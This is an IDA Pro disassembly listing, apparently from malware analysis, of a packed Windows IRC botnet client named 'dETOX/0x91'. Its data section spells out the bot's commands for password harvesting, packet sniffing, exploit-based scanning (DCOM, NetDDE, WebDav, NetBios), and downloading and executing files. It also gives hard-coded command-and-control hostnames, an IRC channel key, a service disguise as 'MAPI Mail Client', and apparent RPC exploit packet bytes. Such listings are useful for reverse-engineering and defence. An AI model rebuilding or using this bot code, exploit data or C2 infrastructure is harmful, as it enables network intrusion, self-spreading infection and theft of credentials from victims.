;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	90EE26F4513B2456FBBCDC0B9EF0BDD2

; File Name   :	u:\work\90ee26f4513b2456fbbcdc0b9ef0bdd2_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00001000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
MEW		segment	para public 'BSS' use32
		assume cs:MEW
		;org 401000h
		assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing
dword_401000	dd 0		dword_401004	dd 0		dword_401008	dd 0		dword_40100C	dd 0							; sub_408A88+167r
dword_401010	dd 0							; sub_408A88+C8r ...
dword_401014	dd 0							; sub_408A88+12Er ...
dword_401018	dd 0							; sub_408A88+137r ...
dword_40101C	dd 0							; sub_40899B+10r ...
dword_401020	dd 0							; sub_40899B+30r ...
dword_401024	dd 0							; sub_40899B+D9r ...
dword_401028	dd 0		dword_40102C	dd 0		dword_401030	dd 0		dword_401034	dd 0		dword_401038	dd 0		dword_40103C	dd 0							; sub_408C2B+3Br ...
		dd 0
dword_401044	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Error					; MEW:0040C8BCo
dword_401048	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_40104C	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_401050	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_401054	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_408EAB+85r ...
dword_401058	dd 7C8217EAh	; resolved to->KERNEL32.SearchPathAdword_40105C	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_401060	dd 7C812782h	; resolved to->KERNEL32.SetFileAttributesA					; sub_409016+E7r ...
dword_401064	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesA					; sub_409016+AFr
dword_401068	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_40106C	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathAdword_401070	dd 7C8024A7h	; resolved to->KERNEL32.ReleaseMutexdword_401074	dd 7C80EA1Bh	; resolved to->KERNEL32.OpenMutexAdword_401078	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_40107C	dd 7C834D41h	; resolved to->KERNEL32.lstrcatAdword_401080	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_401084	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorModedword_401088	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; MEW:0040A430r
dword_40108C	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; MEW:00409FE8r ...
dword_401090	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; MEW:00409FBEr ...
dword_401094	dd 7C82FA46h	; resolved to->KERNEL32.QueryPerformanceFrequencydword_401098	dd 7C80A427h	; resolved to->KERNEL32.QueryPerformanceCounterdword_40109C	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_4010A0	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_4010A4	dd 7C80BE01h, 7C810111h, 7C830D74h; resolved to->KERNEL32.lstrcpyA					; MEW:0040A36Dr ...
dword_4010B0	dd 7C80C108h	; resolved to->KERNEL32.SetThreadPrioritydword_4010B4	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_4010B8	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_4010BC	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_408E07+67r ...
dword_4010C0	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4010C4	dd 7C80A017h	; resolved to->KERNEL32.SetEventdword_4010C8	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; sub_408EAB+DEr ...
dword_4010CC	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_409016+39r ...
dword_4010D0	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameA					; sub_40899B+A5r ...
dword_4010D4	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_40A45C+69r
dword_4010D8	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_4010DC	dd 7C80B829h	; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCount					; sub_4098E2+58r
dword_4010E0	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_4098E2+82r
dword_4010E4	dd 7C81CE03h	; resolved to->KERNEL32.TerminateThread					; sub_40A56C+5Fr
dword_4010E8	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_4098E2+3ADr
dword_4010EC	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; MEW:00405DB1r ...
dword_4010F0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_405CEC+86r ...
dword_4010F4	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_404530+94Br ...
dword_4010F8	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryAdword_4010FC	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_404530+3FAr ...
		dd 0
dword_401104	dd 0		dword_401108	dd 0		dword_40110C	dd 0		dword_401110	dd 0		dword_401114	dd 0		dword_401118	dd 0		dword_40111C	dd 0		dword_401120	dd 0		dword_401124	dd 0		dword_401128	dd 0		dword_40112C	dd 0		dword_401130	dd 0		dword_401134	dd 0		dword_401138	dd 0		dword_40113C	dd 0		dword_401140	dd 0		dword_401144	dd 0		dword_401148	dd 0		dword_40114C	dd 0		dword_401150	dd 0		dword_401154	dd 0		dword_401158	dd 0		dword_40115C	dd 0		dword_401160	dd 0		dword_401164	dd 0		dword_401168	dd 0		dword_40116C	dd 0		dword_401170	dd 0		dword_401174	dd 0		dword_401178	dd 0		dword_40117C	dd 0		dword_401180	dd 0		dword_401184	dd 0		dword_401188	dd 0		dword_40118C	dd 0		dword_401190	dd 0		dword_401194	dd 0		dword_401198	dd 0		dword_40119C	dd 2 dup(0)	dword_4011A4	dd 0		dword_4011A8	dd 0		dword_4011AC	dd 0		dword_4011B0	dd 0		dword_4011B4	dd 0		dword_4011B8	dd 0				align 10h
dword_4011C0	dd 0				align 8
dword_4011C8	dd 0				align 10h
dword_4011D0	dd 0							; sub_4098E2+389r
dword_4011D4	dd 0							; sub_4098E2+383r
dword_4011D8	dd 0		dword_4011DC	dd 0							; MEW:0040A152r ...
dword_4011E0	dd 0							; sub_4098E2+1A7r ...
		align 8
dword_4011E8	dd 0				align 10h
dword_4011F0	dd 0							; sub_407BC9+CAr ...
dword_4011F4	dd 0		dword_4011F8	dd 0							; sub_407F46+182r
dword_4011FC	dd 0		dword_401200	dd 0							; sub_405DB7+376r ...
dword_401204	dd 0		dword_401208	dd 0							; sub_409570+60r
dword_40120C	dd 0		dword_401210	dd 0		dword_401214	dd 0		dword_401218	dd 0		dword_40121C	dd 0							; sub_4086A6+154r ...
dword_401220	dd 0							; sub_407BC9+FCr ...
dword_401224	dd 0		dword_401228	dd 0		dword_40122C	dd 0		dword_401230	dd 0							; sub_405DB7+A1r ...
dword_401234	dd 0							; MEW:00406CB8r ...
dword_401238	dd 0							; sub_405DB7+BAr ...
dword_40123C	dd 0							; sub_40549A+8Er ...
dword_401240	dd 0							; sub_407165+94r ...
dword_401244	dd 0							; sub_405DB7:loc_405E83r ...
dword_401248	dd 0							; sub_408EAB:loc_409007r
dword_40124C	dd 0							; sub_4052A5+44r ...
dword_401250	dd 0							; sub_409570+2Er
dword_401254	dd 0		dword_401258	dd 0		dword_40125C	dd 0				dd 4 dup(0)
dword_401270	dd 25207325h, 2D3A2073h, 2343003h, 74756F72h, 3656E69h
					; DATA XREF: sub_404530+C0Do
		dd 70202D02h, 203A6469h, 2333003h, 2036425h, 0A0Dh
		dd 7268742Eh, 2E646165h, 6C6C696Bh, 0 ;	DATA XREF: sub_404530:loc_4050FFo
dword_4012A8	dd 7268742Eh, 2E646165h, 7473696Ch, 0unk_4012B8	db  25h	; %		; DATA XREF: sub_404530+BABo
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  72h	; r
		db 6Fh,	75h, 74h
		db  69h	; i
		db 6Eh,	65h, 3
		db    2
aPidNotFound	db '- pid: not found!',0Dh,0Ah,0
		align 4
a_thread_find	db '.thread.find',0     ; DATA XREF: sub_404530:loc_4050A3o
		align 4
unk_4012F4	db  25h	; %		; DATA XREF: sub_404530:loc_405085o
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 3
		db    2
aSnifferUnloade	db '- sniffer unloaded',0Dh,0Ah,0
		align 10h
unk_401320	db  25h	; %		; DATA XREF: sub_404530+B4Bo
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 3
		db    2
aSnifferNotActi	db '- sniffer not activated',0Dh,0Ah,0
		align 10h
a_sniffer_off	db '.sniffer.off',0     ; DATA XREF: sub_404530:loc_405055o
		align 10h
unk_401360	db  25h	; %		; DATA XREF: sub_404530:loc_40504Bo
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 3
		db    2
aSnifferAlready	db '- sniffer already activated',0Dh,0Ah,0
		align 4
unk_401394	db  25h	; %		; DATA XREF: sub_404530+AFAo
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 3
		db    2
aActivatedSniff	db '- activated sniffer',0Dh,0Ah,0
		align 10h
aSniffer	db 'Sniffer',0          ; DATA XREF: sub_404530+AE5o
					; sub_404530+B36o ...
a_sniffer_on	db '.sniffer.on',0      ; DATA XREF: sub_404530:loc_405004o
dword_4013D4	dd 25207325h, 2D3A2073h, 2343003h, 6C656873h, 646F636Ch
					; DATA XREF: sub_404530+ACAo
		dd 2D020365h, 72756320h, 746E6572h, 6C20796Ch, 65747369h
		dd 676E696Eh, 3A6E6F20h, 33300320h, 3A732502h, 2036425h
		dd 74697720h, 30032068h, 64250234h, 73200203h, 73646E65h
		dd 0A0Dh
a_shellcode_sta	db '.shellcode.status',0 ; DATA XREF: sub_404530:loc_404FA2o
		align 4
dword_40143C	dd 25207325h, 2D3A2073h, 2343003h, 75636573h, 2036572h
					; DATA XREF: sub_404530+A65o
		dd 7973202Dh, 6D657473h, 64707520h, 64657461h, 61676120h
		dd 74736E69h, 3003203Ah, 654E0233h, 45444474h, 202C0203h
		dd 2333003h, 4D4F4344h,	202C0203h, 2333003h, 44626557h
		dd 2037661h, 646E6120h
		db 20h
		db 3, 30h, 33h		; DATA XREF: MEW:off_4027B8o
		db    2
		db 4Eh,	65h, 74h
		db  42h	; B
		db 69h,	6Fh, 73h
		db    3
		db 2, 20h, 76h
aUlnerabilities	db 'ulnerabilities',0Dh,0Ah,0
		align 4
a_secure_instal	db '.secure.install',0  ; DATA XREF: sub_404530:loc_404F7Ao
dword_4014C8	dd 33300320h, 746F5402h, 2036C61h, 3003203Ah, 64250234h
					; DATA XREF: sub_404530+A17o
		dd 203h
dword_4014E0	dd 33300320h, 3642502h,	25202E02h, 73hdword_4014F0	dd 3430032Dh, 70786502h, 74696F6Ch, 2036465h, 2Dh
					; DATA XREF: sub_404530+9A7o
dword_401504	dd 6163732Eh, 74732E6Eh, 737461hdword_401510	dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 372656Eh
					; DATA XREF: sub_404530+971o
		dd 69202D02h, 6365666Eh, 676E6974h, 646E6520h, 6F206465h
		dd 3003206Eh, 73250233h, 0A0D0203h, 0
dword_401548	dd 6163732Eh, 74732E6Eh, 706Fhdword_401554	dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 372656Eh
					; DATA XREF: sub_404530:loc_404E2Co
		dd 3202D02h, 25023330h,	20020373h, 64207369h, 62617369h
		dd 0D64656Ch, 0Ah
unk_401584	db  25h	; %		; DATA XREF: sub_404530+8F2o
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	72h, 3
		db    2
		db 2Dh,	20h, 3
		db  30h	; 0
		db 33h,	2, 25h
		db  73h	; s
		db 3, 2, 20h
aIsAlreadyDisab	db 'is already disabled',0Dh,0Ah,0
		align 4
a_scan_disable	db '.scan.disable',0    ; DATA XREF: sub_404530:loc_404DC3o
		align 4
dword_4015CC	dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 676E6520h
					; DATA XREF: sub_404530+889o
		dd 3656E69h, 63202D02h,	65727275h, 796C746Eh, 61637320h
		dd 6E696E6Eh, 30032067h, 73250233h, 0A0D0203h, 0
dword_401608	dd 6163732Eh, 75632E6Eh, 6E657272h, 74hunk_401618	db  25h	; %		; DATA XREF: sub_404530+849o
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	72h, 3
		db    2
		db 2Dh,	20h, 3
		db  30h	; 0
		db 33h,	2, 25h
		db  73h	; s
		db 3, 2, 20h
aIsNotAssignedA	db 'is not assigned as exploit',0Dh,0Ah,0
		align 4
dword_401658	dd 25207325h, 2D3A2073h, 2343003h, 6E616373h, 372656Eh
					; DATA XREF: sub_404530:loc_404D56o
		dd 3202D02h, 25023330h,	20020373h, 65207369h, 6C62616Eh
		dd 0A0D6465h, 0
unk_401688	db  25h	; %		; DATA XREF: sub_404530+81Co
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	72h, 3
		db    2
		db 2Dh,	20h, 3
		db  30h	; 0
		db 33h,	2, 25h
		db  73h	; s
		db 3, 2, 20h
aIsAlreadyEnabl	db 'is already enabled',0Dh,0Ah,0
		align 10h
a_scan_enable	db '.scan.enable',0     ; DATA XREF: sub_404530:loc_404CEDo
		align 10h
asc_4016D0	db '-l',0               ; DATA XREF: sub_404530+788o
		align 4
aR		db '-r',0               ; DATA XREF: sub_404530+6F7o
		align 4
asc_4016D8	db '-x',0               ; DATA XREF: sub_404530:loc_404BE9o
					; sub_404530:loc_404C47o
		align 4
aSD_D		db '%s%d.%d',0          ; DATA XREF: sub_404530+6A8o
a_:					; DATA XREF: sub_404530+681o
					; sub_4095E2+33o
		unicode	0, <.>,0
aS_0		db '-s',0               ; DATA XREF: sub_404530:loc_404B71o
		align 4
		db  25h	; %		; DATA XREF: sub_404530+5E9o
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	72h, 3
		db    2
aFailedModuleCh	db '- failed module chosen doesn',27h,'t excist',0Dh,0Ah,0
		align 4
aScanner	db 'Scanner',0          ; DATA XREF: sub_404530+590o
					; sub_404530:loc_404CD2o ...
a_scan_start	db '.scan.start',0      ; DATA XREF: sub_404530:loc_404A5Fo
dword_401740	dd 25207325h, 2D3A2073h, 2343003h, 6E65706Fh, 202D0203h
					; DATA XREF: sub_404530:loc_404A55o
		dd 6C696166h, 74206465h, 706F206Fh, 3206E65h, 25023330h
		dd 0D020373h, 0Ah
dword_401770	dd 25207325h, 2D3A2073h, 2343003h, 6E65706Fh, 202D0203h
					; DATA XREF: sub_404530+51Bo
		dd 6E65706Fh, 3206465h,	25023330h, 20020373h, 63637573h
		dd 75667365h, 0D796C6Ch, 0Ah
aOpen		db 'open',0             ; DATA XREF: sub_404530+505o
		align 4
a_open		db '.open',0            ; DATA XREF: sub_404530:loc_404A11o
		align 4
unk_4017B4	db  25h	; %		; DATA XREF: sub_404530+4D7o
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    3
		db 2, 2Dh, 20h
aFailedToDownlo	db 'failed to download [%s]',0Dh,0Ah,0
		align 4
dword_4017E8	dd 25207325h, 2D3A2073h, 2343003h, 6E776F64h, 64616F6Ch
					; DATA XREF: sub_404530+4C5o
		dd 202D0203h, 6E776F64h, 64616F6Ch, 61206465h, 6520646Eh
		dd 75636578h, 20646574h, 5D73255Bh, 206F7420h, 5D73255Bh
		dd 30032820h, 6C250233h, 20020375h, 6920626Bh, 3003206Eh
		dd 64250233h, 73200203h, 5B206365h, 2333003h, 2036425h
		dd 2F626B20h, 5D636573h, 0A0D29h
dword_401858	dd 25207325h, 2D3A2073h, 2343003h, 6E776F64h, 64616F6Ch
					; DATA XREF: sub_404530+492o
		dd 202D0203h, 6E776F64h, 64616F6Ch, 5B206465h, 205D7325h
		dd 5B206F74h, 205D7325h, 33300328h, 756C2502h, 6B200203h
		dd 6E692062h, 33300320h, 3642502h, 65732002h, 35B2063h
		dd 25023330h, 20020364h, 732F626Bh, 295D6365h, 0A0Dh
dword_4018BC	dd 752Dh			dd 652Dh		; DATA XREF: sub_404530+381o
					; sub_404530+5A3o
		dd 776F642Eh, 616F6C6Eh, 74682E64h, 7074h
					; DATA XREF: sub_404530:loc_404878o
dword_4018D4	dd 6372692Eh, 6D756A2Eh, 70hdword_4018E0	dd 25207325h, 2D3A2073h, 2343003h, 3637269h, 69202D02h
					; DATA XREF: sub_404530+2EEo
		dd 726C6120h, 79646165h, 66656C20h, 30032074h, 73250233h
		dd 0A0D0203h, 0
dword_401910	dd 54524150h, 20732520h, 0A0D7325h, 0					; sub_404530+2FFo
		dd 6372692Eh, 7261702Eh, 74h ; DATA XREF: sub_404530:loc_4047B7o
dword_40192C	dd 25207325h, 2D3A2073h, 2343003h, 3637269h, 69202D02h
					; DATA XREF: sub_404530+264o
		dd 61206D27h, 6165726Ch, 69207964h, 3003206Eh, 73250233h
		dd 0A0D0203h, 0
dword_40195C	dd 4E494F4Ah, 20732520h, 0A0D7325h, 0					; sub_404530+275o ...
		dd 6372692Eh, 696F6A2Eh, 6Eh ; DATA XREF: sub_404530:loc_40472Do
dword_401978	dd 6F2Dh	aPasswordFinder	db 'Password Finder',0  ; DATA XREF: sub_404530:loc_4046DFo
					; MEW:loc_40A436o
a_harvest_passw	db '.harvest.passwords',0 ; DATA XREF: sub_404530:loc_4046BAo
		align 10h
dword_4019A0	dd 25207325h, 2D3A2073h, 2343003h, 64707466h, 202D0203h
					; DATA XREF: sub_404530+178o
		dd 72727563h, 6C746E65h, 696C2079h, 6E657473h, 20676E69h
		dd 203A6E6Fh, 2333003h,	253A7325h, 20020364h, 68746977h
		dd 34300320h, 3642502h,	65732002h, 0D73646Eh, 0Ah
dword_4019F0	dd 7074662Eh, 74732E64h, 73757461h, 0dword_401A00	dd 746F622Eh, 7379732Eh, 6F666E69h, 0dword_401A10	dd 25207325h, 2D3A2073h, 2343003h, 3746F62h, 6C202D02h
					; DATA XREF: sub_404530+125o
		dd 6C61636Fh, 3A504920h, 33300320h, 3732502h, 0A0D02h
dword_401A38	dd 746F622Eh, 70692Ehdword_401A40	dd 746F622Eh, 736F2Ehdword_401A48	dd 25207325h, 253A2073h, 0A0D73h					; sub_40A5D5+5Co
dword_401A54	dd 746F622Eh, 7470752Eh, 656D69haQuitGodHatesUs	db 'QUIT :god hates us all',0Dh,0Ah,0 ; DATA XREF: sub_404530+ABo
		align 4
a_bot_leave	db '.bot.leave',0       ; DATA XREF: sub_404530:loc_4045CAo
		align 4
unk_401A88	db  25h	; %		; DATA XREF: sub_404530+90o
		db 73h,	20h, 25h
		db  73h	; s
		db 20h,	3Ah, 2Dh
		db    3
		db 30h,	34h, 2
		db  76h	; v
		db 65h,	72h, 73h
		db  69h	; i
		db 6Fh,	6Eh, 3
		db    2
aSADerangedProd	db '- %s a deranged product by an evil coder',0Dh,0Ah,0
a_bot_compilati	db '.bot.compilation',0 ; DATA XREF: sub_404530:loc_4045A5o
		align 4
asc_401ADC:				; DATA XREF: sub_404530+2Eo
					; sub_4055A6+78o
		unicode	0, < >,0
aDetox0x91Win32	db 'dETOX/0x91 (win32)',0 ; DATA XREF: sub_404530+86o
					; sub_4052A5+CDo ...
		align 4
aMapi32_exe	db 'mapi32.exe',0       ; DATA XREF: MEW:00406F4Fo
					; sub_407708+81o ...
		align 10h
aMapi32_dll	db 'mapi32.dll',0
		align 4
aMapi		db 'MAPI',0             ; DATA XREF: sub_405CEC:loc_405D1Bo
					; sub_40899B+28o ...
		align 4
aMapiMailClient	db 'MAPI Mail Client',0 ; DATA XREF: sub_408A88+57o
		align 4
aEnablesSupport	db 'Enables support for the Messaging Application Program Interface.',0
					; DATA XREF: sub_408A88+91o
		align 4
aMapiMailClie_0	db 'MAPI Mail Client',0
		align 10h
aXmapimailclien	db 'xMAPIMailClientx',0 ; DATA XREF: sub_408DE9o sub_408EAB+Do
		align 8
off_401B98	dd offset a0x80_mySecure_ ; DATA XREF: sub_405167+17r
					; sub_4052A5+37r
					; "0x80.my-secure.name"
word_401B9C	dw 199Ch		; DATA XREF: sub_4052A5+5Br
		align 10h
off_401BA0	dd offset byte_40B078	; DATA XREF: sub_4052A5+9Cr
					; sub_4052A5+B4r
off_401BA4	dd offset a9		; DATA XREF: sub_404530+224r
					; sub_404530+2AEr ...
					; "#9#"
off_401BA8	dd offset aG3t0u7	; DATA XREF: sub_4055A6+1AFr
					; sub_4055A6+1F8r ...
					; "g3t0u7"
off_401BAC	dd offset aRaw		; DATA XREF: sub_409834+97r
					; "#raw"
off_401BB0	dd offset aExploit	; DATA XREF: sub_407282+59r
					; sub_407282+23Cr ...
					; "#exploit"
		dd offset a0x80_my1x1_com ; "0x80.my1x1.com"
		dd 199Ch, 40B078h, 401CDCh, 401CD4h, 401CCCh, 401CC0h
		dd 401C98h, 199Ch, 40B078h, 401CDCh, 401CD4h, 401CCCh
		dd 401CC0h, 401C80h, 199Ch, 40B078h, 401CDCh, 401CD4h
		dd 401CCCh, 401CC0h, 401C64h, 199Ch, 40B078h, 401CDCh
		dd 401CD4h, 401CCCh, 401CC0h, 401C50h, 199Ch, 40B078h
		dd 401CDCh, 401CD4h, 401CCCh, 401CC0h
		dd 646E696Dh, 6B61656Ch, 6D6F632Eh, 0 ;	DATA XREF: sub_4055A6+567o
a0xff_memzero_i	db '0xff.memzero.info',0
		align 4
a0x80_onlineSof	db '0x80.online-software.org',0
		align 10h
a0x80_goingform	db '0x80.goingformars.com',0
		align 4
a0x80_martianso	db '0x80.martiansong.com',0
		align 10h
a0x80_my1x1_com	db '0x80.my1x1.com',0   ; DATA XREF: MEW:00401BB4o
		align 10h
aExploit	db '#exploit',0         ; DATA XREF: MEW:off_401BB0o
		align 4
aRaw		db '#raw',0             ; DATA XREF: MEW:off_401BACo
		align 4
aG3t0u7		db 'g3t0u7',0           ; DATA XREF: MEW:off_401BA8o
		align 4
a9		db '#9#',0              ; DATA XREF: MEW:off_401BA4o
a0x80_mySecure_	db '0x80.my-secure.name',0 ; DATA XREF: MEW:off_401B98o
aUserSSSSNickS	db 'USER %s %s %s :%s',0Dh,0Ah ; DATA XREF: sub_4052A5+D5o
					; sub_4055A6+33Bo
		db 'NICK %s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_4052A5+BAo
		align 10h
asc_401D20:				; DATA XREF: sub_4055A6+5DEo
		unicode	0, <*>,0
asc_401D24:				; DATA XREF: sub_4055A6+52Fo
		unicode	0, <:>,0
a@:					; DATA XREF: sub_4055A6+4C1o
					; sub_4055A6:loc_405C52o
		unicode	0, <@>,0
asc_401D2C:				; DATA XREF: sub_4055A6+488o
		unicode	0, <!>,0
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_4055A6+431o
a513		db '513',0              ; DATA XREF: sub_4055A6+3FCo
a480		db '480',0              ; DATA XREF: sub_4055A6+3E7o
a475		db '475',0              ; DATA XREF: sub_4055A6+3D2o
a474		db '474',0              ; DATA XREF: sub_4055A6+3BDo
a473		db '473',0              ; DATA XREF: sub_4055A6+3A8o
a471		db '471',0              ; DATA XREF: sub_4055A6:loc_405939o
a432		db '432',0              ; DATA XREF: sub_4055A6:loc_4058F3o
a433		db '433',0              ; DATA XREF: sub_4055A6:loc_4058B0o
asc_401D58	db ' :',0               ; DATA XREF: sub_4055A6+2ACo
		align 4
a332		db '332',0              ; DATA XREF: sub_4055A6:loc_405841o
a366		db '366',0              ; DATA XREF: sub_4055A6+264o
a422		db '422',0              ; DATA XREF: sub_4055A6+24Fo
a001		db '001',0              ; DATA XREF: sub_4055A6:loc_4057E0o
aModeSI		db 'MODE %s +i',0Dh,0Ah,0 ; DATA XREF: sub_4055A6+1E4o
					; sub_4055A6+65Eo
		align 4
a009		db '009',0              ; DATA XREF: sub_4055A6:loc_405768o
aKick		db 'KICK',0             ; DATA XREF: sub_4055A6:loc_40572Ao
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_4055A6:loc_4056F5o
		align 10h
dword_401D90	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_4055A6+13Do
		dd 0D017325h, 0Ah
dword_401DAC	dd 4556013Ah, 4F495352h, 14Eh		dd 4556013Ah, 4F495352h, 4Eh ; DATA XREF: sub_4055A6+105o
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_4055A6:loc_405694o
					; sub_4055A6+2EFo
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_4055A6+DDo
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_4055A6:loc_405667o
		align 10h
dword_401DE0	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:			; DATA XREF: sub_405DB7+15Bo
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 10h
dword_401E60	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_405DB7+133o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
